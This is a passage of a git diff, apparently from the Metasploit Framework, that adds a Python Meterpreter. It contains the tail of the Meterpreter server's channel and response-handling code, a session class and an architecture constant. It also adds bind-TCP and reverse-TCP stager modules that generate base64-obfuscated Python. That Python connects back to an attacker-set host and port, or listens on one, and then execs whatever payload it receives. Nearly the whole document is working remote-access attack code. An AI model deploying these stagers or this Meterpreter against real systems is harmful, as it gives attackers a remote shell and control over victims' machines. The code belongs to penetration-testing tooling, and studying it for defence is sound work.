+ return ERROR_FAILURE, response + channel = self.channels[channel_id] + l = len(channel_data) + if isinstance(channel, file): + channel.write(channel_data) + elif isinstance(channel, subprocess.Popen): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + channel.stdin.write(channel_data) + elif isinstance(s, socket._socketobject): + try: + l = channel.send(channel_data) + except socket.error: + channel.close() + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_LENGTH, l) + return ERROR_SUCCESS, response + + def create_response(self, request): + resp = struct.pack('>I', PACKET_TYPE_RESPONSE) + method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) + resp += tlv_pack(method_tlv) + + reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) + resp += tlv_pack(reqid_tlv) + + if method_tlv['value'] in self.extension_functions: + handler = self.extension_functions[method_tlv['value']] + try: + result, resp = handler(request, resp) + except Exception, err: + result = ERROR_FAILURE + else: + result = ERROR_FAILURE + resp += tlv_pack(TLV_TYPE_RESULT, result) + resp = struct.pack('>I', len(resp) + 4) + resp + return resp + +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): + met = PythonMeterpreter(s) + met.run() diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb new file mode 100644 index 0000000000..a987c893a4 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Python_Python < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'python/python' + self.binary_suffix = 'py' + end +end + +end +end + diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 1c9aaf6ef6..fd13b19b8b 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -84,6 +84,7 @@ ARCH_ARMBE = 'armbe' ARCH_JAVA = 'java' ARCH_RUBY = 'ruby' ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' ARCH_TYPES = [ ARCH_X86, @@ -103,7 +104,8 @@ ARCH_TYPES = ARCH_TTY, ARCH_JAVA, ARCH_RUBY, - ARCH_DALVIK + ARCH_DALVIK, + ARCH_PYTHON ] ARCH_ALL = ARCH_TYPES diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb new file mode 100644 index 0000000000..f3ec48e0fd --- /dev/null +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -0,0 +1,55 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Python connect stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s.listen(1)\n" + cmd += "c,a=s.accept()\n" + cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd += "d=c.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=c.recv(4096)\n" + cmd += "exec(d,{'s':c})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stagers/python/reverse_tcp.rb b/modules/payloads/stagers/python/reverse_tcp.rb new file mode 100644 index 0000000000..da311cb4ce --- /dev/null +++ b/modules/payloads/stagers/python/reverse_tcp.rb @@ -0,0 +1,53 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Reverse TCP Stager', + 'Description' => 'Reverse Python connect back stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::ReverseTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "l=struct.unpack('>I',s.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += "\td+=s.recv(4096)\n" + cmd += "exec(d,{'s':s})\n" + + # Base64 encoding is required in order to handle Python's formatting requirements in the while loop + cmd = "import base64; exec(base64.b64decode('#{Rex::Text.encode_base64(cmd)}'))" + return cmd + end + + def handle_intermediate_stage(conn, payload) + conn.put([payload.length].pack("N")) + end +end diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb new file mode 100644 index 0000000000..6e6f036240 --- /dev/null +++ b/modules/payloads/stages/python/meterpreter.rb @@ -0,0 +1,36 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_python' +require 'msf/base/sessions/meterpreter_options' + + +module Metasploit3 + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Python Meterpreter', + 'Description' => 'Run a meterpreter server in Python', + 'Author' => ['Spencer McIntyre'], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_Python_Python)) + end + + def generate_stage + file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py") + + met = File.open(file, "rb") {|f| + f.read(f.stat.size) + } + met + end +end